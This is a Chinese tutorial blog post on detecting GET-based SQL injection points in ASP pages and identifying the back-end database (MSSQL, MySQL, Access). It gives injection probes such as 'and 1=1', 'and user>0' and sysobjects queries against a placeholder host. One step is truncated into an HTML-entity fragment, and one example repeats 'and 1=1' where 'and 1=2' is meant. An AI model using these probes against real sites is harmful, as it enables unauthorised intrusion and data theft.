sql注入查mysql表名_GET型SQL注入(注入点和数据库类型的判断)

网页一般为asp,php,jsp,aspx注入

对于GET型的SQL,语句一般为

select * from 表名 where 字段=YY

YY可为整数型,也可为字符型,因而在执行sql语句时是有很大区别的。

select * from 表名 where 字段=12

select * from 表名 where 字段='abc'

这使得在判断是否存在注入点时,构造的语句也有很大的区别。

注入点的判断:

先输入' 检测,如果'有过滤的话,输入and 1=1 ,and 1=2

1、整型参数的判断

当输入的参数YY为整型时,通常abc.asp中SQL语句原貌大致如下:

select * from 表名 where 字段=YY,所以可以用以下步骤测试SQL注入是否存在。

①HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号),此时abc.ASP中的SQL语句变成了

select * from 表名 where 字段=YY’  abc.asp运行异常;(比如提示页面不存在)

②HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=1,

abc.asp运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;

select * from 表名 where

字段=YY and 1=1  abc.asp运行正常

③HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=2, abc.asp运行异常;

select * from 表名 where

字段=YY and 1=1  abc.asp运行异常

如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。

2、字符串型参数的判断

当输入的参数YY为字符串时,通常abc.asp中SQL语句原貌大致如下:

select * from 表名 where 字段='YY',所以可以用以下步骤测试SQL注入是否存在。

①HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号),此时abc.ASP中的SQL语句变成了

select * from 表名 where 字段=YY',abc.asp运行异常;

②HTTP://xxx.xxx.xxx/abc.asp?p=YY' and '1'='1,

abc.asp运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;

select * from 表名 where

字段='YY' and '1'='1'  abc.asp运行正常;

③HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ...

39;1'='2', abc.asp运行异常;

select * from 表名 where

字段='YY' and '1'='2'  abc.asp运行异常;

如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。

数据库类型的判断:

1、可以根据输入非法字符时报的错来判断,有时报错时就暴露了数据库的类型

比如它希望GET的是一个整数型的,你输入一个字符的,那么可能会出错,有时直接输入'报错就暴露了数据库类型

2、有时利用--和#

这两个注释符号也可以大致的确认数据库类型,因为MSSQSL是--,而MYSQL是#,ACCESS不支持注释

HTTP://xxx.xxx.xxx/abc.asp?p=YY--  异常

HTTP://xxx.xxx.xxx/abc.asp?p=YY#  正常

那么数据库有可能就是MYSQL或者ACCESS

3、利用数据库服务器的系统变量进行区分

SQL-SERVER有user,db_name()等系统变量,利用这些系统值不仅可以判断SQL-SERVER,而且还可以得到大量有用信息。如:

HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0

出错时报的错可能就包含了MSSQL的信息

如:Microsoft OLE DB

Provider for SQL Server error '80040e07'

不仅可以判断是否是SQL-SERVER,而还可以得到当前连接到数据库的用户名

4、利用系统表

ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects,在WEB环境下有访问权限。对于以下两条语句:

①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from

sysobjects)>0

②HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from

msysobjects)>0

若数据库是SQL-SERVER,则第一条,abc.asp一定运行正常,第二条则异常;

若是ACCESS则两条都会异常。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值